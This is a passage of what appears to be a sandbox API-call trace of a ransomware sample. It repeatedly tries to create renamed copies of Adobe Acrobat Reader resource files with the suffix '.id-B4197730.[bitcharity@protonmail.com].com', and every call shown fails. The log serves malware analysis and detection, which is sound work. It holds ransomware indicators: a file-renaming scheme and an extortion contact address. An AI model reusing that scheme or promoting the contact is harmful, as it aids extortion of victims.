DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\check_2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\fss\\img\\tools\\themes\\dark\\check_2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.505] CloseHandle (hObject=0x11c4) returned 1 [0284.732] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.732] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.732] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\files_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\files_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.732] CloseHandle (hObject=0x1160) returned 1 [0284.733] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.733] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.733] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.733] CloseHandle (hObject=0x1160) returned 1 [0284.734] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.734] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.734] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.734] CloseHandle (hObject=0x1160) returned 1 [0284.735] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.735] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.735] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.735] CloseHandle (hObject=0x1160) returned 1 [0284.769] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.769] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.769] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.769] CloseHandle (hObject=0x1160) returned 1 [0284.773] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.773] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.773] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\files_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\files_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.773] CloseHandle (hObject=0x1160) returned 1 [0284.774] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.774] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\files_icons2x.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\files_icons2x.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.774] CloseHandle (hObject=0x1160) returned 1 [0284.775] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.775] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.775] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.775] CloseHandle (hObject=0x1160) returned 1 [0284.777] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.777] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.778] CloseHandle (hObject=0x1160) returned 1 [0284.778] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.778] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.778] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.778] CloseHandle (hObject=0x1160) returned 1 [0284.779] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.779] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.779] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\new_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\new_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.779] CloseHandle (hObject=0x1160) returned 1 [0284.780] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.780] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.780] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\new_icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\home\\images\\themes\\dark\\new_icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.781] CloseHandle (hObject=0x1160) returned 1 [0284.791] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.791] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.791] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.791] CloseHandle (hObject=0x1160) returned 1 [0284.792] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.792] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.792] CloseHandle (hObject=0x1160) returned 1 [0284.793] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.793] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.793] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_patterns_header.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.793] CloseHandle (hObject=0x1160) returned 1 [0284.795] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.795] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.795] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_RHP.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\bg_pattern_rhp.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.795] CloseHandle (hObject=0x1160) returned 1 [0284.800] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.800] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.800] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\file_icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.800] CloseHandle (hObject=0x11bc) returned 1 [0284.801] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.801] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.801] CloseHandle (hObject=0x11bc) returned 1 [0284.802] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.802] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.802] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_ie8.gif.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.802] CloseHandle (hObject=0x11bc) returned 1 [0284.803] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.803] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\icons_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.803] CloseHandle (hObject=0x11bc) returned 1 [0284.805] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.805] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.805] CloseHandle (hObject=0x11bc) returned 1 [0284.806] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.806] SetFilePointerEx (in: hFile=0x11bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0284.806] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\my-computer\\images\\illustrations_retina.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0284.806] CloseHandle (hObject=0x11bc) returned 1 [0285.077] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.077] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.077] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\css\\main-selector.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\css\\main-selector.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.077] CloseHandle (hObject=0x11c8) returned 1 [0285.078] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.078] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.078] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\css\\main.css.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\css\\main.css.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.078] CloseHandle (hObject=0x11c8) returned 1 [0285.079] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.079] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.080] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\combine_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\combine_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.080] CloseHandle (hObject=0x11c8) returned 1 [0285.080] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.081] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.081] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\combine_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\combine_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.081] CloseHandle (hObject=0x11c8) returned 1 [0285.082] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.082] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.082] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\compare_poster.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\compare_poster.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0285.083] CloseHandle (hObject=0x11c8) returned 1 [0285.083] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.083] SetFilePointerEx (in: hFile=0x11c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0285.083] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\ob-preview\\images\\compare_poster2x.jpg.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\plugins\\ob-preview\\images\\compare_poster2x.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 